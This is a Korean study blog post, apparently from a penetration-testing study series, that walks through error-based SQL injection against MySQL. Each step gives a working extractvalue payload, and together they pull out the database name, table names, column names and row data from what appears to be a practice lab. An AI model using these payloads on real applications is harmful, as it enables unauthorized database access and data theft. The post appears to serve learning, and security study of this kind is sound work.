Error based SQL Injection Process

1. SQLI point 찾기

  • 따옴표등 SQL 에러메시지가 나오는지 체크한다.

2. 에러 출력 함수 정하기

  • DB의 종류마다 다르기 때문에 탈취하고자 하는 DB의 종류를 파악한 뒤 에러출력 함수를 대입하면 된다.
  • mysql → extractvalue

3. 공격 format 만들기

  • 정말 중요한 작업이다.
  • 먼저 앞에서 보았던 예시처럼 공격 format을 만들어준다.
  • normaltic’ and extractvalue ( ‘1’ , concat( 0x3a , (select ‘normaltic’))) and ‘1’=’1
  • 에러메시지가 나오면 성공. 이때 질의할 sql query 부분만 제거해 준다
  • normaltic' and extractvalue( '1' , concat( 0x3a , ( SQL ))) and '1'='1
  • 저 괄호 사이에 내가 질의할 sql query문을 입력해 준다. 이 방법을 꼭 지키지 않으면 나중에 에러가 발생할 때 괄호가 너무 많아지기 때문에 찾기가 매우 매우 힘들어진다…

4. DB 이름 추출하기

  • DB이름을 찾는 쿼리는 다음과 같다.
    • select database()
  • 이것을 우리가 만든 공격 format에 그대로 대입하면 된다.
  • normaltic' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1

이렇게 DB이름을 추출할수 있다.

5. 테이블 이름 추출

  • 똑같이 테이블 이름을 select 하는 구문을 먼저 적어보자
    • select table_name from information_schema.tables where table_schema = ‘segfault_sql’ limit 1
    • limit 구문을 사용하는 이유는 테이블이 여러 개일 수 있기 때문이다. 여기서 다수의 테이블을 찾게 되면 에러가 나타나는데 그 이유는 에러메시지는 하나만 표현가능한데 다수의 테이블이 감지되기 때문에 어떤 걸 표시해야 하는지 시스템을 모르기 때문이다.
  • 저 쿼리를 우리가 만들어 놓은 공격 format에 대입하면 된다.
    • normaltic' and extractvalue( '1' , concat( 0x3a , ( select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 1 ))) and '1'='1

테이블 이름 추출

6. 칼럼 이름 추출

  • 먼저 select 쿼리 구문을 먼저 작성한다.
    • select column_name from information_schema.columns where table_name = 'game' limit 1
  • 이 쿼리를 만들어 놓은 공격 Format에 대입한다.
    • normaltic' and extractvalue( '1' , concat( 0x3a , ( select column_name from information_schema.columns where table_name = 'game' limit 1,1 ))) and '1'='1

컬럼 이름 추출

7. Data 추출

  • game 테이블에 있는 name칼럼 출력
    • select name from game limit1
  • 공격 format에 대입
    • normaltic' and extractvalue( '1' , concat( 0x3a , ( select name from game limit 1 ))) and '1'='1

'모의해킹 스터디 > 개념 정리' 카테고리의 다른 글

Blind based SQL Injection  (0) 2024.12.04
Error based SQL Injection  (0) 2024.12.03
UNION SQL Injection Process  (0) 2024.11.22